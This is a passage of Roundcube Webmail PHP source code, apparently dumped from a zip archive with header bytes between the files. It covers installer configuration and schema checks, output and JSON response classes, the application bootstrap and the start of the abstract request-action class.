        if (!empty($this->config['ldap_public'])
            && is_array($this->config['ldap_public'])
            && !is_array($this->config['autocomplete_addressbooks'])
        ) {
            foreach ($this->config['ldap_public'] as $ldap_public) {
                if ($ldap_public['global_search']) {
                    $out['replaced'][] = [
                        'prop'        => 'ldap_public::global_search',
                        'replacement' => 'autocomplete_addressbooks'
                    ];
                    break;
                }
            }
        }

        if ($version) {
            foreach ($this->defaults_changes as $v => $opts) {
                if (version_compare($v, $version, '>')) {
                    $out['defaults'] = array_merge($out['defaults'], $opts);
                }
            }

            $out['defaults'] = array_unique($out['defaults']);
        }

        return $out;
    }

    /**
     * Merge the current configuration with the defaults
     * and copy replaced values to the new options.
     */
    public function merge_config()
    {
        $current      = $this->config;
        $this->config = [];

        foreach ($this->replaced_config as $prop => $replacement) {
            if (isset($current[$prop])) {
                if ($prop == 'skin_path') {
                    $this->config[$replacement] = preg_replace('#skins/(\w+)/?$#', '\\1', $current[$prop]);
                }
                else if ($prop == 'multiple_identities') {
                    $this->config[$replacement] = $current[$prop] ? 2 : 0;
                }
                else {
                    $this->config[$replacement] = $current[$prop];
                }

                unset($current[$prop]);
                unset($current[$replacement]);
            }
        }

        // Merge old *_port options into the new *_host options, where possible
        foreach (['default' => 'imap', 'smtp' => 'smtp'] as $prop => $type) {
            $old_prop = "{$prop}_port";
            $new_prop = "{$type}_host";
            if (!empty($current[$old_prop]) && !empty($this->config[$new_prop])
                && is_string($this->config[$new_prop])
                && !preg_match('/:[0-9]+$/', $this->config[$new_prop])
            ) {
                $this->config[$new_prop] .= ':' . $current[$old_prop];
            }

            unset($current[$old_prop]);
        }

        foreach ($this->obsolete_config as $prop) {
            unset($current[$prop]);
        }

        // add all ldap_public sources having global_search enabled to autocomplete_addressbooks
        if (!empty($current['ldap_public']) && is_array($current['ldap_public'])) {
            foreach ($current['ldap_public'] as $key => $ldap_public) {
                if (!empty($ldap_public['global_search'])) {
                    $this->config['autocomplete_addressbooks'][] = $key;
                    unset($current['ldap_public'][$key]['global_search']);
                }
            }
        }

        $this->config = array_merge($this->config, $current);
    }

    /**
     * Compare the local database schema with the reference schema
     * required for this version of Roundcube
     *
     * @param rcube_db $db Database object
     *
     * @return bool True if the schema is up-to-date, false if not or an error occurred
     */
    public function db_schema_check($db)
    {
        if (!$this->configured) {
            return false;
        }

        // read reference schema from mysql.initial.sql
        $engine    = $db->db_provider;
        $db_schema = $this->db_read_schema(INSTALL_PATH . "SQL/$engine.initial.sql", $schema_version);
        $errors    = [];

        // Just check the version
        if ($schema_version) {
            $version = rcmail_utils::db_version();

            if (empty($version)) {
                $errors[] = "Schema version not found";
            }
            else if ($schema_version != $version) {
                $errors[] = "Schema version: {$version} (required: {$schema_version})";
            }

            return !empty($errors) ? $errors : false;
        }

        // check list of tables
        $existing_tables = $db->list_tables();

        foreach ($db_schema as $table => $cols) {
            $table = $this->config['db_prefix'] . $table;

            if (!in_array($table, $existing_tables)) {
                $errors[] = "Missing table '".$table."'";
            }
            else {  // compare cols
                $db_cols = $db->list_cols($table);
                $diff    = array_diff(array_keys($cols), $db_cols);

                if (!empty($diff)) {
                    $errors[] = "Missing columns in table '$table': " . implode(',', $diff);
                }
            }
        }

        return !empty($errors) ? $errors : false;
    }

    /**
     * Utility function to read database schema from an .sql file
     */
    private function db_read_schema($schemafile, &$version = null)
    {
        $lines      = file($schemafile);
        $schema     = [];
        $keywords   = ['PRIMARY','KEY','INDEX','UNIQUE','CONSTRAINT','REFERENCES','FOREIGN'];
        $table_name = null;

        foreach ($lines as $line) {
            if (preg_match('/^\s*create table ([\S]+)/i', $line, $m)) {
                $table_name = explode('.', $m[1]);
                $table_name = end($table_name);
                $table_name = preg_replace('/[`"\[\]]/', '', $table_name);
            }
            else if (preg_match('/insert into/i', $line) && preg_match('/\'roundcube-version\',\s*\'([0-9]+)\'/', $line, $m)) {
                $version = $m[1];
            }
            else if ($table_name && ($line = trim($line))) {
                if ($line == 'GO' || $line[0] == ')' || $line[strlen($line)-1] == ';') {
                    $table_name = null;
                }
                else {
                    $items = explode(' ', $line);
                    $col   = $items[0];
                    $col   = preg_replace('/[`"\[\]]/', '', $col);

                    if (!in_array(strtoupper($col), $keywords)) {
                        $type = strtolower($items[1]);
                        $type = preg_replace('/[^a-zA-Z0-9()]/', '', $type);

                        $schema[$table_name][$col] = $type;
                    }
                }
            }
        }

        return $schema;
    }

    /**
     * Try to detect some file's mimetypes to test the correct behavior of fileinfo
     */
    public function check_mime_detection()
    {
        $errors = [];
        $files  = [
            'program/resources/tinymce/video.png' => 'image/png',
            'program/resources/blank.tiff'        => 'image/tiff',
            'program/resources/blocked.gif'       => 'image/gif',
        ];

        foreach ($files as $path => $expected) {
            $mimetype = rcube_mime::file_content_type(INSTALL_PATH . $path, basename($path));
            if ($mimetype != $expected) {
                $errors[] = [$path, $mimetype, $expected];
            }
        }

        return $errors;
    }

    /**
     * Check the correct configuration of the 'mime_types' mapping option
     */
    public function check_mime_extensions()
    {
        $errors = [];
        $types  = [
            'application/zip'   => 'zip',
            'text/css'          => 'css',
            'application/pdf'   => 'pdf',
            'image/gif'         => 'gif',
            'image/svg+xml'     => 'svg',
        ];

        foreach ($types as $mimetype => $expected) {
            $ext = rcube_mime::get_mime_extensions($mimetype);
            if (!in_array($expected, (array) $ext)) {
                $errors[] = [$mimetype, $ext, $expected];
            }
        }

        return $errors;
    }

    /**
     * Getter for the last error message
     *
     * @return string Error message or null if none exists
     */
    public function get_error()
    {
        return $this->last_error['message'] ?? null;
    }

    /**
     * Return a list with all imap/smtp hosts configured
     *
     * @return array Clean list with imap/smtp hosts
     */
    public function get_hostlist($prop = 'imap_host')
    {
        $hosts     = (array) $this->getprop($prop);
        $out       = [];
        $imap_host = '';

        if ($prop == 'smtp_host') {
            // Set the imap host name for the %h macro
            $default_hosts = $this->get_hostlist();
            $imap_host = !empty($default_hosts) ? $default_hosts[0] : '';
        }

        foreach ($hosts as $key => $name) {
            if (!empty($name)) {
                if ($prop == 'smtp_host') {
                    // SMTP host array uses `IMAP host => SMTP host` format
                    $host = $name;
                }
                else {
                    $host = is_numeric($key) ? $name : $key;
                }

                $out[] = rcube_utils::parse_host($host, $imap_host);
            }
        }

        return $out;
    }

    /**
     * Create a HTML dropdown to select a previous version of Roundcube
     */
    public function versions_select($attrib = [])
    {
        $select = new html_select($attrib);
        $select->add([
                '0.1-stable', '0.1.1',
                '0.2-alpha', '0.2-beta', '0.2-stable',
                '0.3-stable', '0.3.1',
                '0.4-beta', '0.4.2',
                '0.5-beta', '0.5', '0.5.1', '0.5.2', '0.5.3', '0.5.4',
                '0.6-beta', '0.6',
                '0.7-beta', '0.7', '0.7.1', '0.7.2', '0.7.3', '0.7.4',
                '0.8-beta', '0.8-rc', '0.8.0', '0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5', '0.8.6',
                '0.9-beta', '0.9-rc', '0.9-rc2',
                // Note: Do not add newer versions here
        ]);

        return $select;
    }

    /**
     * Return a list with available subfolders of the skin directory
     *
     * @return array List of available skins
     */
    public function list_skins()
    {
        $skins   = [];
        $skindir = INSTALL_PATH . 'skins/';

        foreach (glob($skindir . '*') as $path) {
            if (is_dir($path) && is_readable($path)) {
                $skins[] = substr($path, strlen($skindir));
            }
        }

        return $skins;
    }

    /**
     * Return a list with available subfolders of the plugins directory
     * (with their associated description in composer.json)
     *
     * @return array List of available plugins
     */
    public function list_plugins()
    {
        $plugins    = [];
        $plugin_dir = INSTALL_PATH . 'plugins/';
        $enabled    = isset($this->config['plugins']) ? (array) $this->config['plugins'] : [];

        foreach (glob($plugin_dir . '*') as $path) {
            if (!is_dir($path)) {
                continue;
            }

            if (is_readable($path . '/composer.json')) {
                $file_json   = json_decode(file_get_contents($path . '/composer.json'));
                $plugin_desc = $file_json->description ?: 'N/A';
            }
            else {
                $plugin_desc = 'N/A';
            }

            $name      = substr($path, strlen($plugin_dir));
            $plugins[] = [
                'name'    => $name,
                'desc'    => $plugin_desc,
                'enabled' => in_array($name, $enabled)
            ];
        }

        return $plugins;
    }

    /**
     * Display OK status
     *
     * @param string $name    Test name
     * @param string $message Confirm message
     */
    public function pass($name, $message = '')
    {
        echo rcube::Q($name) . ':&nbsp; <span class="success">OK</span>';
        $this->_showhint($message);
    }

    /**
     * Display an error status and increase failure count
     *
     * @param string $name     Test name
     * @param string $message  Error message
     * @param string $url      URL for details
     * @param bool   $optional Do not count this failure
     */
    public function fail($name, $message = '', $url = '', $optional = false)
    {
        if (!$optional) {
            $this->failures++;
        }

        echo rcube::Q($name) . ':&nbsp; <span class="fail">NOT OK</span>';
        $this->_showhint($message, $url);
    }

    /**
     * Display an error status for optional settings/features
     *
     * @param string $name    Test name
     * @param string $message Error message
     * @param string $url     URL for details
     */
    public function optfail($name, $message = '', $url = '')
    {
        echo rcube::Q($name) . ':&nbsp; <span class="na">NOT OK</span>';
        $this->_showhint($message, $url);
    }

    /**
     * Display warning status
     *
     * @param string $name    Test name
     * @param string $message Warning message
     * @param string $url     URL for details
     */
    public function na($name, $message = '', $url = '')
    {
        echo rcube::Q($name) . ':&nbsp; <span class="na">NOT AVAILABLE</span>';
        $this->_showhint($message, $url);
    }

    private function _showhint($message, $url = '')
    {
        $hint = rcube::Q($message);

        if ($url) {
            $hint .= ($hint ? '; ' : '') . 'See <a href="' . rcube::Q($url) . '" target="_blank">' . rcube::Q($url) . '</a>';
        }

        if ($hint) {
            echo '<span class="indent">(' . $hint . ')</span>';
        }
    }

    private static function _clean_array($arr)
    {
        $out = [];

        foreach (array_unique($arr) as $k => $val) {
            if (!empty($val)) {
                if (is_numeric($k)) {
                    $out[] = $val;
                }
                else {
                    $out[$k] = $val;
                }
            }
        }

        return $out;
    }

    private static function _dump_var($var, $name = null)
    {
        // special values
        switch ($name) {
        case 'syslog_facility':
            $list = [
                32 => 'LOG_AUTH', 80 => 'LOG_AUTHPRIV', 72 => ' LOG_CRON',
                24 => 'LOG_DAEMON', 0 => 'LOG_KERN', 128 => 'LOG_LOCAL0',
                136 => 'LOG_LOCAL1', 144 => 'LOG_LOCAL2', 152 => 'LOG_LOCAL3',
                160 => 'LOG_LOCAL4', 168 => 'LOG_LOCAL5', 176 => 'LOG_LOCAL6',
                184 => 'LOG_LOCAL7', 48 => 'LOG_LPR', 16 => 'LOG_MAIL',
                56 => 'LOG_NEWS', 40 => 'LOG_SYSLOG', 8 => 'LOG_USER', 64 => 'LOG_UUCP'
            ];

            if (!empty($list[$var])) {
                return $list[$var];
            }

            break;
        }

        if (is_array($var)) {
            if (empty($var)) {
                return '[]';
            }
            // check if all keys are numeric
            $isnum = true;
            foreach (array_keys($var) as $key) {
                if (!is_numeric($key)) {
                    $isnum = false;
                    break;
                }
            }

            if ($isnum) {
                return '[' . implode(', ', array_map(['rcmail_install', '_dump_var'], $var)) . ']';
            }
        }

        return var_export($var, true);
    }

    /**
     * Initialize the database with the according schema
     *
     * @param rcube_db $db Database connection
     *
     * @return bool True on success, False on error
     */
    public function init_db($db)
    {
        $engine = $db->db_provider;

        // read schema file from /SQL/*
        $fname = INSTALL_PATH . "SQL/$engine.initial.sql";
        if ($sql = @file_get_contents($fname)) {
            $db->set_option('table_prefix', $this->config['db_prefix']);
            $db->exec_script($sql);
        }
        else {
            $this->fail('DB Schema', "Cannot read the schema file: $fname");
            return false;
        }

        if ($err = $this->get_error()) {
            $this->fail('DB Schema', "Error creating database schema: $err");
            return false;
        }

        return true;
    }

    /**
     * Update database schema
     *
     * @param string $version Version to update from
     *
     * @return boolean True on success, False on error
     */
    public function update_db($version)
    {
        return rcmail_utils::db_update(INSTALL_PATH . 'SQL', 'roundcube', $version, ['quiet' => true]);
    }

    /**
     * Handler for Roundcube errors
     */
    public function raise_error($p)
    {
        $this->last_error = $p;
    }

    /**
     * Check if vendor/autoload.php was created by Roundcube and left untouched
     *
     * @param string $target_dir The target installation dir
     * @return string
     */
    public static function vendor_dir_untouched($target_dir)
    {
        system('grep -q "generated by Roundcube" ' . escapeshellarg($target_dir . '/vendor/autoload.php') . ' 2>/dev/null', $exit_code);
        return $exit_code === 0;
    }
}
PK
h�\Y2%nSS!program/include/rcmail_output.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Abstract class for output generation                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for output generation
 *
 * @package    Webmail
 * @subpackage View
 */
abstract class rcmail_output extends rcube_output
{
    const JS_OBJECT_NAME = 'rcmail';
    const BLANK_GIF      = 'R0lGODlhDwAPAIAAAMDAwAAAACH5BAEAAAAALAAAAAAPAA8AQAINhI+py+0Po5y02otnAQA7';

    public $type      = 'html';
    public $ajax_call = false;
    public $framed    = false;

    protected $pagetitle       = '';
    protected $object_handlers = [];
    protected $devel_mode      = false;


    /**
     * Object constructor
     */
    public function __construct()
    {
        parent::__construct();

        $this->devel_mode = (bool) $this->config->get('devel_mode');
    }

    /**
     * Setter for page title
     *
     * @param string $title Page title
     */
    public function set_pagetitle($title)
    {
        $this->pagetitle = $title;
    }

    /**
     * Getter for the current skin path property
     */
    public function get_skin_path()
    {
        return $this->config->get('skin_path');
    }

    /**
     * Delete all stored env variables and commands
     */
    public function reset()
    {
        parent::reset();

        $this->object_handlers = [];
        $this->pagetitle = '';
    }

    /**
     * Call a client method
     *
     * @param string $cmd     Method to call
     * @param mixed  ...$args Method arguments
     */
    abstract function command($cmd, ...$args);

    /**
     * Add a localized label(s) to the client environment
     *
     * @param mixed ...$args Labels (an array of strings, or many string arguments)
     */
    abstract function add_label(...$args);

    /**
     * Register a template object handler
     *
     * @param string $name Object name
     * @param callable $func Function name to call
     *
     * @return void
     */
    public function add_handler($name, $func)
    {
        $this->object_handlers[$name] = $func;
    }

    /**
     * Register a list of template object handlers
     *
     * @param array $handlers Hash array with object=>handler pairs
     *
     * @return void
     */
    public function add_handlers($handlers)
    {
        $this->object_handlers = array_merge($this->object_handlers, $handlers);
    }

    /**
     * A wrapper for header() function, so it can be replaced for automated tests
     *
     * @param string $header  The header string
     * @param bool   $replace Replace previously set header?
     *
     * @return void
     */
    public function header($header, $replace = true)
    {
        header($header, $replace);
    }

    /**
     * A helper to send output to the browser and exit
     *
     * @param string $body    The output body
     * @param array  $headers Headers
     *
     * @return void
     */
    public function sendExit($body = '', $headers = [])
    {
        foreach ($headers as $header) {
            header($header);
        }

        print $body;
        exit;
    }

    /**
     * A helper to send HTTP error code and message to the browser, and exit.
     *
     * @param int    $code    The HTTP error code
     * @param string $message The HTTP error message
     *
     * @return void
     */
    public function sendExitError($code, $message = '')
    {
        http_response_code($code);
        exit($message);
    }
}
PK
h�\�Dx�	�	*program/include/rcmail_string_replacer.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Turn URLs and email addresses into clickable links                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Helper class for turning URLs and email addresses in plaintext content
 * into clickable links.
 *
 * @package    Webmail
 * @subpackage Utils
 */
class rcmail_string_replacer extends rcube_string_replacer
{
    /**
     * Callback function used to build mailto: links around e-mail strings
     *
     * This also adds an onclick-handler to open the Roundcube compose message screen on such links
     *
     * @param array $matches Matches result from preg_replace_callback
     *
     * @return int Index of saved string value
     * @see rcube_string_replacer::mailto_callback()
     */
    protected function mailto_callback($matches)
    {
        $href   = $matches[1];
        $suffix = $this->parse_url_brackets($href);
        $email  = $href;

        if (strpos($email, '?')) {
            list($email,) = explode('?', $email);
        }

        // skip invalid emails
        if (!rcube_utils::check_email($email, false)) {
            return $matches[1];
        }

        $attribs = [
            'href'    => 'mailto:' . $href,
            'onclick' => sprintf("return %s.command('compose','%s',this)",
                rcmail_output::JS_OBJECT_NAME,
                rcube::JQ($href)
            ),
        ];

        $i = $this->add(html::a($attribs, rcube::Q($href)) . $suffix);

        return $i >= 0 ? $this->get_replacement($i) : '';
    }
}
PK
h�\��Z  &program/include/rcmail_output_json.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class to handle JSON (AJAX) output                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * View class to produce JSON responses
 *
 * @package    Webmail
 * @subpackage View
 */
class rcmail_output_json extends rcmail_output
{
    protected $texts     = [];
    protected $commands  = [];
    protected $callbacks = [];
    protected $message   = null;
    protected $header_sent = false;

    public $type      = 'js';
    public $ajax_call = true;


    /**
     * Object constructor
     */
    public function __construct()
    {
        parent::__construct();

        if (!empty($_SESSION['skin_config'])) {
            foreach ($_SESSION['skin_config'] as $key => $value) {
                $this->config->set($key, $value, true);
            }

            $value = array_merge((array) $this->config->get('dont_override'), array_keys($_SESSION['skin_config']));
            $this->config->set('dont_override', $value, true);
        }
    }

    /**
     * Issue command to set page title
     *
     * @param string $title New page title
     */
    public function set_pagetitle($title)
    {
        if ($this->config->get('devel_mode') && !empty($_SESSION['username'])) {
            $name = $_SESSION['username'];
        }
        else {
            $name = $this->config->get('product_name');
        }

        $this->command('set_pagetitle', empty($name) ? $title : $name . ' :: ' . $title);
    }

    /**
     * Register a template object handler
     *
     * @param string $obj  Object name
     * @param callable $func Function name to call
     */
    public function add_handler($obj, $func)
    {
        // ignore
    }

    /**
     * Register a list of template object handlers
     *
     * @param array $arr Hash array with object=>handler pairs
     */
    public function add_handlers($arr)
    {
        // ignore
    }

    /**
     * Call a client method
     *
     * @param string $cmd    Method to call
     * @param mixed ...$args Additional arguments
     */
    public function command($cmd, ...$args)
    {
        array_unshift($args, $cmd);

        if (strpos($args[0], 'plugin.') === 0) {
            $this->callbacks[] = $args;
        }
        else {
            $this->commands[] = $args;
        }
    }

    /**
     * Add a localized label(s) to the client environment
     *
     * @param mixed ...$args Labels (an array of strings, or many string arguments)
     */
    public function add_label(...$args)
    {
        if (count($args) == 1 && is_array($args[0])) {
            $args = $args[0];
        }

        foreach ($args as $name) {
            $this->texts[$name] = $this->app->gettext($name);
        }
    }

    /**
     * Invoke display_message command
     *
     * @param string $message  Message to display
     * @param string $type     Message type [notice|confirm|error]
     * @param array  $vars     Key-value pairs to be replaced in localized text
     * @param bool   $override Override last set message
     * @param int    $timeout  Message displaying time in seconds
     *
     * @uses self::command()
     */
    public function show_message($message, $type = 'notice', $vars = null, $override = true, $timeout = 0)
    {
        if ($override || !$this->message) {
            if ($this->app->text_exists($message)) {
                if (!empty($vars)) {
                    $vars = array_map(['rcmail', 'Q'], $vars);
                }
                $msgtext = $this->app->gettext(['name' => $message, 'vars' => $vars]);
            }
            else {
                $msgtext = $message;
            }

            $this->message = $message;
            $this->command('display_message', $msgtext, $type, $timeout * 1000);
        }
    }

    /**
     * Delete all stored env variables and commands
     */
    public function reset()
    {
        parent::reset();
        $this->texts    = [];
        $this->commands = [];
    }

    /**
     * Redirect to a certain url
     *
     * @param mixed $p     Either a string with the action or url parameters as key-value pairs
     * @param int   $delay Delay in seconds
     *
     * @see rcmail::url()
     */
    public function redirect($p = [], $delay = 1)
    {
        $location = $this->app->url($p);
        $this->remote_response(sprintf("window.setTimeout(function(){ %s.redirect('%s',true); }, %d);",
            self::JS_OBJECT_NAME, $location, $delay));
        exit;
    }

    /**
     * Send an AJAX response to the client.
     */
    public function send()
    {
        $this->remote_response();
        exit;
    }

    /**
     * Show error page and terminate script execution
     *
     * @param int    $code    Error code
     * @param string $message Error message
     */
    public function raise_error($code, $message)
    {
        if ($code == 403) {
            $this->header('HTTP/1.1 403 Forbidden');
            die("Invalid Request");
        }

        $this->show_message("Application Error ($code): $message", 'error');
        $this->remote_response();
        exit;
    }

    /**
     * Send an AJAX response with executable JS code
     *
     * @param string $add Additional JS code
     */
    protected function remote_response($add = '')
    {
        if (!$this->header_sent) {
            $this->header_sent = true;
            $this->nocacheing_headers();
            $this->header('Content-Type: application/json; charset=' . $this->get_charset());
        }

        // unset default env vars
        unset($this->env['task'], $this->env['action'], $this->env['comm_path']);

        $rcmail = rcmail::get_instance();
        $response['action'] = $rcmail->action;

        if ($unlock = rcube_utils::get_input_string('_unlock', rcube_utils::INPUT_GPC)) {
            $response['unlock'] = $unlock;
        }

        if (!empty($this->env)) {
            $response['env'] = $this->env;
        }

        if (!empty($this->texts)) {
            $response['texts'] = $this->texts;
        }

        // send function calls
        $response['exec'] = $this->get_js_commands() . $add;

        if (!empty($this->callbacks)) {
            $response['callbacks'] = $this->callbacks;
        }

        // trigger generic hook where plugins can put additional content to the response
        $hook = $this->app->plugins->exec_hook("render_response", ['response' => $response]);

        // save some memory
        $response = $hook['response'];
        unset($hook['response']);

        echo self::json_serialize($response, $this->devel_mode, false);
    }

    /**
     * Return executable javascript code for all registered commands
     */
    protected function get_js_commands()
    {
        $out = '';

        foreach ($this->commands as $i => $args) {
            $method = array_shift($args);
            foreach ($args as $i => $arg) {
                $args[$i] = self::json_serialize($arg, $this->devel_mode, false);
            }

            $out .= sprintf(
                "this.%s(%s);\n",
                preg_replace('/^parent\./', '', $method),
                implode(',', $args)
            );
        }

        return $out;
    }
}
PK
h�\���program/include/iniset.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Setup the application environment required to process               |
 |   any request.                                                        |
 +-----------------------------------------------------------------------+
 | Author: Till Klampaeckel <till@php.net>                               |
 |         Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

if (PHP_VERSION_ID < 70300) {
    die("Unsupported PHP version. Required PHP >= 7.3.");
}

// application constants
define('RCMAIL_VERSION', '1.6.7');
define('RCMAIL_START', microtime(true));

if (!defined('INSTALL_PATH')) {
    define('INSTALL_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/');
}

if (!defined('RCMAIL_CONFIG_DIR')) {
    define('RCMAIL_CONFIG_DIR', getenv('ROUNDCUBE_CONFIG_DIR') ?: (INSTALL_PATH . 'config'));
}

if (!defined('RCUBE_LOCALIZATION_DIR')) {
    define('RCUBE_LOCALIZATION_DIR', INSTALL_PATH . 'program/localization/');
}

define('RCUBE_INSTALL_PATH', INSTALL_PATH);
define('RCUBE_CONFIG_DIR',  RCMAIL_CONFIG_DIR.'/');

// Show basic error message on fatal PHP error
register_shutdown_function('rcmail_error_handler');

// RC include folders MUST be included FIRST to avoid other
// possible not compatible libraries (i.e PEAR) to be included
// instead the ones provided by RC
$include_path = INSTALL_PATH . 'program/lib' . PATH_SEPARATOR;
$include_path.= ini_get('include_path');

if (set_include_path($include_path) === false) {
    die("Fatal error: ini_set/set_include_path does not work.");
}

// increase maximum execution time for php scripts
// (does not work in safe mode)
@set_time_limit(120);

// include composer autoloader (if available)
if (@file_exists(INSTALL_PATH . 'vendor/autoload.php')) {
    require INSTALL_PATH . 'vendor/autoload.php';
}

// translate PATH_INFO to _task and _action GET parameters
if (!empty($_SERVER['PATH_INFO']) && preg_match('!^/([a-z]+)/([a-z]+)$!', $_SERVER['PATH_INFO'], $m)) {
    if (!isset($_GET['_task'])) {
        $_GET['_task'] = $m[1];
    }
    if (!isset($_GET['_action'])) {
        $_GET['_action'] = $m[2];
    }
}

// include Roundcube Framework
require_once 'Roundcube/bootstrap.php';

// register autoloader for rcmail app classes
spl_autoload_register('rcmail_autoload');

/**
 * PHP5 autoloader routine for dynamic class loading
 */
function rcmail_autoload($classname)
{
    if (strpos($classname, 'rcmail') === 0) {
        if (preg_match('/^rcmail_action_([^_]+)_(.*)$/', $classname, $matches)) {
            $filepath = INSTALL_PATH . "program/actions/{$matches[1]}/{$matches[2]}.php";
        }
        else {
            $filepath = INSTALL_PATH . "program/include/$classname.php";
        }

        if (is_readable($filepath)) {
            include_once $filepath;
            return true;
        }
    }

    return false;
}

/**
 * Show a generic error message on fatal PHP error
 */
function rcmail_error_handler()
{
    $error = error_get_last();

    if ($error && ($error['type'] === E_ERROR || $error['type'] === E_PARSE)) {
        rcmail_fatal_error();
    }
}

/**
 * Raise a generic error message on error
 */
function rcmail_fatal_error()
{
    if (php_sapi_name() === 'cli') {
        echo "Fatal error: Please check the Roundcube error log and/or server error logs for more information.\n";
    }
    elseif (!empty($_REQUEST['_remote'])) {
        // Ajax request from UI
        header('Content-Type: application/json; charset=UTF-8');
        echo json_encode(['code' => 500, 'message' => "Internal Server Error"]);
    }
    else {
        if (!defined('RCUBE_FATAL_ERROR_MSG')) {
            define('RCUBE_FATAL_ERROR_MSG', INSTALL_PATH . 'program/resources/error.html');
        }

        echo file_get_contents(RCUBE_FATAL_ERROR_MSG);
    }

    exit;
}
PK
h�\�A:}:�:�!program/include/rcmail_action.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   An abstract for HTTP request handlers with some helpers.            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * An abstract for HTTP request handlers with some helpers.
 *
 * @package Webmail
 */
abstract class rcmail_action
{
    const MODE_AJAX = 1;
    const MODE_HTTP = 2;

    /**
     * Mode of operation supported by the action. Use MODE_* constants.
     * By default all modes are allowed.
     *
     * @var int
     */
    protected static $mode;

    /**
     * A name of a initialized common form
     *
     * @var string
     */
    protected static $edit_form;

    /**
     * Deprecated action aliases.
     *
     * @todo Get rid of these (but it will be a big BC break)
     * @var array
     */
    public static $aliases = [];

    /**
     * Request handler. The only abstract method.
     *
     * @param array $args Arguments from the previous step(s)
     */
    abstract public function run($args = []);

    /**
     * Request sanity checks, e.g. supported request mode
     *
     * @return bool
     */
    public function checks()
    {
        $rcmail = rcmail::get_instance();

        if (static::$mode) {
            if (!(static::$mode & self::MODE_HTTP) && empty($rcmail->output->ajax_call)) {
                return false;
            }

            if (!(static::$mode & self::MODE_AJAX) && !empty($rcmail->output->ajax_call)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Set environment variables for specified config boolean options
     *
     * @param array $options List of configuration option names
     */
    public static function set_env_config($options)
    {
        $rcmail = rcmail::get_instance();

        foreach ((array) $options as $option) {
            if ($rcmail->config->get($option)) {
                $rcmail->output->set_env($option, true);
            }
        }
    }

    /**
     * Create a HTML table based on the given data
     *
     * @param array  $attrib     Named table attributes
     * @param mixed  $table_data Table row data. Either a two-dimensional array
     *                           or a valid SQL result set
     * @param array  $show_cols  List of cols to show
     * @param string $id_col     Name of the identifier col
     *
     * @return string HTML table code
     */
    public static function table_output($attrib, $table_data, $show_cols, $id_col)
    {
        $rcmail = rcmail::get_instance();
        $table  = new html_table($attrib);

        // add table header
        if (empty($attrib['noheader'])) {
            foreach ($show_cols as $col) {
                $table->add_header($col, rcube::Q($rcmail->gettext($col)));
            }
        }

        if (!is_array($table_data)) {
            $db = $rcmail->get_dbh();
            while ($table_data && ($sql_arr = $db->fetch_assoc($table_data))) {
                $table->add_row(['id' => 'rcmrow' . rcube_utils::html_identifier($sql_arr[$id_col])]);

                // format each col
                foreach ($show_cols as $col) {
                    $table->add($col, rcube::Q($sql_arr[$col]));
                }
            }
        }
        else {
            foreach ($table_data as $row_data) {
                $class = !empty($row_data['class']) ? $row_data['class'] : null;
                if (!empty($attrib['rowclass'])) {
                    $class = trim($class . ' ' . $attrib['rowclass']);
                }

                $rowid = 'rcmrow' . rcube_utils::html_identifier($row_data[$id_col]);

                $table->add_row(['id' => $rowid, 'class' => $class]);

                // format each col
                foreach ($show_cols as $col) {
                    $val = is_array($row_data[$col]) ? $row_data[$col][0] : $row_data[$col];
                    $table->add($col, empty($attrib['ishtml']) ? rcube::Q($val) : $val);
                }
            }
        }

        return $table->show($attrib);
    }

    /**
     * Return HTML for quota indicator object
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the quota indicator object
     */
    public static function quota_display($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmquotadisplay';
        }

        $_SESSION['quota_display'] = !empty($attrib['display']) ? $attrib['display'] : 'text';

        $quota = self::quota_content($attrib);

